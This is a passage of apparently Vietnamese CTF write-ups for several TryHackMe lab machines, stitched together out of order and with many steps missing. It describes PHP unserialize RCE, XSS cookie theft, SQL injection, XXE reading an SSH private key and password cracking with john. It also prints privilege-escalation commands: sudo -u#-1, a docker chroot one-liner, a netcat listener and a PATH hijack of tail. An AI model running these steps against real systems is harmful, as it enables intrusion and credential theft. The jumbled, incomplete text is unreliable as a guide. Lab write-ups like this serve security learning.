Có vẻ như đây là một dạng thuật toán nào đó, nhưng vì chưa có gợi ý nào nên tôi sẽ quay lại với nó sau.
Tiếp theo thì vào /robots.txt
Khi truy cập thử vào /StuxCTF/ thì web báo không tìm thấy path này. Dừng khoảng chừng là 2s thì tôi để ý thấy *Diffie_Hellman*, nghe giống 1 cái tên. Thử tìm kiếm nó trên mạng và hóa ra đây là tên 1 phương pháp trao đổi khóa, nó ở đây
Sau khoảng vài tiếng thông não thuật toán và thêm phần hint trong CTF thì tôi cũng tìm tính được ra khóa đặc biệt cuối cùng. Cũng ở trong phần hint, độ dài của directory là 128 ký tự đầu nên khi in ra màn hình tôi sẽ chuyển kết quả về dạng string và chỉ lấy 128 ký tự đầu. Sử dụng python thì nó sẽ như thế này:
Lại thử kiểm tra source web xem có hint nào nữa không
<!-- hint: /?file= -->
Với hint này thì khả năng cao là PHP LFI exploit. Tôi sẽ dùng BurpSuite để sửa request dễ hơn. Sau 1 lúc thử các kiểu LFI đều không có kết quả, tôi nhận ra mình đã hiểu sai hint này. Với PHP LFI tôi phải để index.php ở đầu và sau đó là /?file=, nhưng thực ra trong hint không đề cập đến index.php nên path sẽ chỉ có /?file= và tên file đằng sau
Sao chép đoạn hex này vào CyberChef và tôi có 1 đoạn mã trông giống base64 nhưng bị đảo ngược vì dấu = xuất hiện ở đầu đoạn mã chứ không phải phần đuôi như thông thường.
Sau khi dịch ngược đoạn base64 và giải mã thì tôi sẽ có source của index.php
<br/>error_reporting(0);<br/>classfile{<br/>public$file="dump.txt";<br/>public$data="dump test";<br/>function__destruct(){<br/>file_put_contents($this->file,$this->data);<br/>}<br/>}<br/><br/><br/>$file_name=$_GET['file'];<br/>if(isset($file_name)&&!file_exists($file_name)){<br/>echo"File no Exist!";<br/>}<br/><br/>if($file_name=="index.php"){<br/>$content=file_get_contents($file_name);<br/>$tags=array("","");<br/>echobin2hex(strrev(base64_encode(nl2br(str_replace($tags,"",$content)))));<br/>}<br/>unserialize(file_get_contents($file_name));<br/><br/><!DOCTYPEhtml><br/><head><br/><title>StuxCTF</title><br/><metacharset="UTF-8"><br/><metaname="viewport"content="width=device-width, initial-scale=1"><br/><linkrel="stylesheet"href="assets/css/bootstrap.min.css"/><br/><linkrel="stylesheet"href="assets/css/style.css"/><br/></head><br/><body><br/><navclass="navbar navbar-default navbar-fixed-top"><br/><divclass="container"><br/><divclass="navbar-header"><br/><buttontype="button"class="navbar-toggle collapsed"data-toggle="collapse"data-target="#navbar"aria-expanded="false"aria-controls="navbar"><br/><spanclass="sr-only">Togglenavigation</span><br/></button><br/><aclass="navbar-brand"href="index.php">Home</a><br/></div><br/></div><br/></nav><br/><!--hint:/?file=--><br/><divclass="container"><br/><divclass="jumbotron"><br/><center><br/><h1>Followthewhiterabbit..</h1><br/></center><br/></div><br/></div><br/><scriptsrc="assets/js/jquery-1.11.3.min.js"></script><br/><scriptsrc="assets/js/bootstrap.min.js"></script><br/></body><br/></html><br/>
Lướt qua source này, tôi để ý có 1 function có thể khai thác được, đó là unserialize. Lỗi này liên quan đến dữ liệu đầu vào mà người dùng nhập không được kiểm duyệt trước khi đến hàm unserialize từ đó có thể cho phép thực hiện RCE
Đầu tiên, tôi tạo 1 file php với nội dung dùng để tạo 1 file php khác có chứa payload. Sau đó dùng php để chuyển nó thành file txt. Sau khi tải file text này lên web server, đi qua hàm unserialize, nó sẽ phân giải nội dung thành file php và thực thi câu lệnh bên trong file đó. Theo tôi hiểu thì là như vậy Hi vọng tôi không hiểu sai.
www-data@ubuntu:/$sudo-u#-1 /bin/bash
root@ubuntu:/# id
uid=0(root)gid=33(www-data)groups=33(www-data)root@ubuntu:/# ls /root
root.txtroot@ubuntu:/#
Tổng kết
Qua bài này, tôi biết thêm về một phương pháp trao đổi khóa, tuy nó đã lỗi thời và có thể giải được bởi những người nghe lén, nhưng nó vẫn được phát triển và có nhiều biến thể an toàn hơn trong truyền thông tin. Ngoài ra, tôi cũng biết thêm một lỗ hổng của PHP với hàm unserialize, lợi dụng thiết lập đầu vào không an toàn để thực thi RCE.
Việc đầu tiên cần làm là quét cổng đang mở trên máy chủ mục tiêu
PORTSTATESERVICEREASONVERSION22/tcpopensshsyn-ackOpenSSH7.6p1Ubuntu4ubuntu0.3(UbuntuLinux;protocol2.0)|ssh-hostkey:|2048b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23(RSA)|ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDbZAxRhWUij6g6MP11OkGSk7vYHRNyQcTIdMmjj1kSvDhyuXS9QbM5t2qe3UMblyLaObwKJDN++KWfzl1+beOrq3sXkTA4Wot1RyYo0hPdQT0GWBTs63dll2+c4yv3nDiYAwtSsPLCeynPEmSUGDjkVnP12gxXe/qCsM2+rZ9tzXtSWiXgWvaxMZiHaQpT1KaY0z6ebzBTI8siU0t+6SMK7rNv1CsUNpGeicfbC5ZOE4/Nbc8cxNl7gDtZbyjdh9S7KTvzkSj2zBJ+8VbzsuZk1yy8uyLDgmuBQ6LzbYUNHkTQhJetVq7utFpRqLdpSJTcsz5PAxd1Upe9DqoYURuL|256b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c(ECDSA)|ecdsa-sha2-nistp256AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEYCha8jk+VzcJRRwV41rl8EuJBiy7Cf8xg6tX41bZv0huZdCcCTCq9dLJlzO2V9s+sMp92TpzR5j8NAAuJt0DA=|256a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce(ED25519)|_ssh-ed25519AAAAC3NzaC1lZDI1NTE5AAAAIOJnY5oycmgw6ND6Mw4y0YQWZiHoKhePo4bylKKCP0E510000/tcpopenhttpsyn-ackMiniServ1.890(Webminhttpd)|http-methods:|_SupportedMethods:GETHEADOPTIONS|_http-title:Sitedoesn't have a title (text/html; Charset=iso-8859-1).
|_http-favicon: Unknown favicon MD5: E9CE0E6E52BEA337BC56F2FD6BF4C996
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Với port 10000 tôi có web server với giao diện Webmin. Tôi thử tìm exploit với webmin
Với version 1.890, tôi thấy có 1 lỗ hổng RCE có thể khai thác với Metasploit. Tuy nhiên sau 1 lúc kiểm tra thì tôi nhận ra các exploit này đều cần có username và password.
Dạo quanh Google 1 lúc tìm các exploit của Webmin 1.890 thì tôi tìm thấy 1 Poc unauthorizied RCE, nó ở đây, nó sẽ tạo lệnh curl chứa payload để server trả về command vừa nhập
Như vậy là tôi đã upload thành công. Tuy nhiên sau bao nỗ lực tôi cũng không thể lấy được rce Tuy nhiên thì với quyền root tôi cũng có toàn quyền để xem các thư mục
Trong thư mục home tôi tìm thấy user dark và user flag nằm trong thư mục của user này.
Và ở đây thì tôi có hash password của user dark, kết hợp file passwd để unshadow và cuối cùng dùng john để crack hash và tôi cũng sẽ có được password của user này và login bằng SSH.
Trong ftp server tôi để ý thấy có 1 thư mục tên notread khá thú vị. Và bên trong nó có 1 file pgp và asc. Lấy 2 file này về và sử dụng gpg để giải mã nó
Tuy nhiên khi import key asc, tôi cần passphrase. Vậy là tạm thời chưa thể decrypt được file backup này. Tuy nhiên với ftp server này, tôi có thể truy cập toàn quyền các thư mục khác và có thể lấy chúng về local machine.
Vào thư mục home, trong đây có user melodias, trong user này tôi tìm được user flag.
Vậy là tôi có hash password của user melodias và root. Sao chép nội dung file backup.pgp và dán nó vào 1 file mới, tôi đặt tên là shadow Thử decrypt nó với john
Vậy là tôi có passowrd của user root. Thử login với SSH
┌──(neo㉿kali)-[~]└─$sshroot@10.10.219.60Theauthenticityofhost'10.10.219.60 (10.10.219.60)'can't be established.
ED25519 key fingerprint is SHA256:+bhLW3R5qYI2SvPQsCWR9ewCoewWWvFfTVFQUAGr+ew.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.219.60' (ED25519) to the list of known hosts.
root@10.10.219.60'spassword:WelcometoUbuntu16.04.6LTS(GNU/Linux4.4.0-157-genericx86_64)*Documentation:https://help.ubuntu.com*Management:https://landscape.canonical.com*Support:https://ubuntu.com/advantageTheprogramsincludedwiththeUbuntusystemarefreesoftware;theexactdistributiontermsforeachprogramaredescribedintheindividualfilesin/usr/share/doc/*/copyright.UbuntucomeswithABSOLUTELYNOWARRANTY,totheextentpermittedbyapplicablelaw.root@ubuntu:~# id
uid=0(root)gid=0(root)groups=0(root)root@ubuntu:~# ls
root.txtroot@ubuntu:~#
Xin chào, Lẩu đây, The holidays are too long, so I can only return to CTF now. And today I will open the New Year bowl with a machine medium - Tryhackme - The Marketplace
Reconnaissance
Vẫn như thông thường, việc đầu tiên cần làm là quét các cổng đang mở trên machine này.
Tôi đã thử vài các để giả mạo cookie nhưng không có kết quả. Tạm thời note nó lại, tôi sẽ chuyển qua cách khác. Trong /new, với những phần có thể nhập vào từ bàn phím như thế này, tôi thử vài xss đơn giản
Vậy là tôi có lỗ hổng XSS ở đây. Tôi sẽ thử lấy cookie của admin bằng cách tạo 1 listing chứa XXS payload và báo cáo nó với quản trị viên.
Sau đó report listing này với quản trị viên để họ trả lời và tôi sẽ có được cookie của họ
Tiếp theo tôi vào path /admin để thay đổi cookie với BurpSuite
Vậy là tôi có flag 1.
Tiếp theo, tôi để ý với response này, tôi có ID của từng user, vậy nên tôi đã nghĩ rằng sao không thử vài SQLi với path /admin và in ra tên của database
Sau 1 lúc tìm hiểu về SQLi tôi nhận ra khi query đến database, ID nào đã tồn tại thì nó sẽ in ra thông tin về ID đó và thế là hết. Vậy để database query được câu lệnh SQLi phía sau, tôi phải thêm vào 1 ID chưa có trong db, ở đây tôi đã có ID 1,2,3,4, vậy thì ID chưa được gán thông tin sẽ là 5
Vậy là tôi có db đang sử dụng là ‘marketplace’. Tiếp tục show các tables có trong db này
Tôi có 3 tables ở đây: items, messages và users. Query đến table user để lấy thông tin về các users
Vậy là tôi có 3 username và password, lưu nó lại. Tiếp theo tôi còn 1 table nữa chưa xem thử đó là ‘message’
Vậy là tôi có password của 1 user. Thử ssh với 2 user đã biết là jake và michael
SSH
┌──(neo㉿kali)-[~]└─$sshjake@10.10.37.209Theauthenticityofhost'10.10.37.209 (10.10.37.209)'can't be established.
ED25519 key fingerprint is SHA256:Rl4+lAmQWEhSKHNbPY/BoNdG16/4xcmIXNIlSrBasm0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.37.209' (ED25519) to the list of known hosts.
jake@10.10.37.209'spassword:WelcometoUbuntu18.04.5LTS(GNU/Linux4.15.0-112-genericx86_64)*Documentation:https://help.ubuntu.com*Management:https://landscape.canonical.com*Support:https://ubuntu.com/advantageSysteminformationasofSunAug2809:32:13UTC2022Systemload:0.0Usersloggedin:0Usageof/:87.1%of14.70GBIPaddressforeth0:10.10.37.209Memoryusage:31%IPaddressfordocker0:172.17.0.1Swapusage:0%IPaddressforbr-636b40a4e2d6:172.18.0.1Processes:102=>/isusing87.1%of14.70GB20packagescanbeupdated.0updatesaresecurityupdates.jake@the-marketplace:~$lsuser.txtjake@the-marketplace:~$
Privilege escalation
sudo -l
jake@the-marketplace:~$sudo-lMatchingDefaultsentriesforjakeonthe-marketplace:env_reset,mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUserjakemayrunthefollowingcommandsonthe-marketplace:(michael)NOPASSWD:/opt/backups/backup.shjake@the-marketplace:~$cat/opt/backups/backup.sh#!/bin/bash
echo"Backing up files...";tarcf/opt/backups/backup.tar*
Điều này có nghĩa là tôi có thể thêm payload vào file backup.sh để khi chạy file này, payload sẽ gọi đến user michael. Thêm 1 điều nữa, khi chạy file backup.sh, nó sẽ sinh ra 1 file tar. Tôi có nhớ có 1 exploit với tar, nó ở đây
Đầu tiên vẫn phải tạo file shell mới chứa payload, sau đó sẽ dùng exploit với tar. Sau đó tạo listener với port 9001: nc -lnvp 9001
User michael có trong group docker. Tôi sẽ thử vào GTFOBins xem cách leo thang đặc quyền với docker. Với group docker tôi sẽ sử dụng SUID
michael@the-marketplace:~$/usr/bin/dockerrun-v/:/mnt--rm-italpinechroot/mntsh# id
uid=0(root)gid=0(root)groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)# ls /root/
root.txt#
Có vẻ như đây chính là form của comment ở web. Thử sao chép đoạn này vào comment và server trả về đúng như form
Sau 1 lúc tìm kiếm cách khai thác lỗi sử dụng XXE, tôi tìm được payload ở đây. Sửa đoạn xml mẫu 1 chút, tôi sẽ lấy file từ server và thay comment là 1 câu lệnh để server đọc và in nội dung file ra cho tôi.
Để thực thi được lệnh, tôi phải chuyển nó về dạng url. Sau 1 lúc bế tắc thì tôi nhận ra còn 1 hint nữa mà tôi chưa dùng đến, là ssh key của Barry. Thông thường ssh key sẽ nằm trong thư mục .ssh trong thư mục user, vậy thì đường dẫn file có thể sẽ giống như thế này:
/home/barry/.ssh/id_rsa
Thay path này vào /etc/passwd và encode nó thành url
SSH
Sao chép ssh key về và login ssh với key này. Tuy nhiên khi login tôi cần passphrase. Sử dụng john để brute-force passphrase
Khi chạy file này, nó sẽ gọi đến file access.log và in log ra theo thời gian thực, và vì file binary này chạy với quyền root nên tôi có thể leo thang đặc quyền với file này mà không cần sudo.
Tôi sẽ sử dụng kỹ thuật giống như đã trình bày ở CTF Tryhackme - Wonderland, đến thư mục /tmp vì nó có toàn quyền ghi và thực thi file. Sau đó tạo 1 file tail chứa lệnh thực thi, set quyền thực thi cho nó, thêm path /tmp vào đầu biến PATH để khi chạy file live_log trong đây, nó sẽ gọi ngay đến tail vừa tạo.
Nó sẽ như thế này
barry@mustacchio:/tmp$echo"/bin/bash">tailbarry@mustacchio:/tmp$chmod777tailbarry@mustacchio:/tmp$exportPATH=/tmp:$PATHbarry@mustacchio:/tmp$/home/joe/live_logroot@mustacchio:/tmp# id
uid=0(root)gid=0(root)groups=0(root),1003(barry)root@mustacchio:/tmp# ls /root
root.txtroot@mustacchio:/tmp#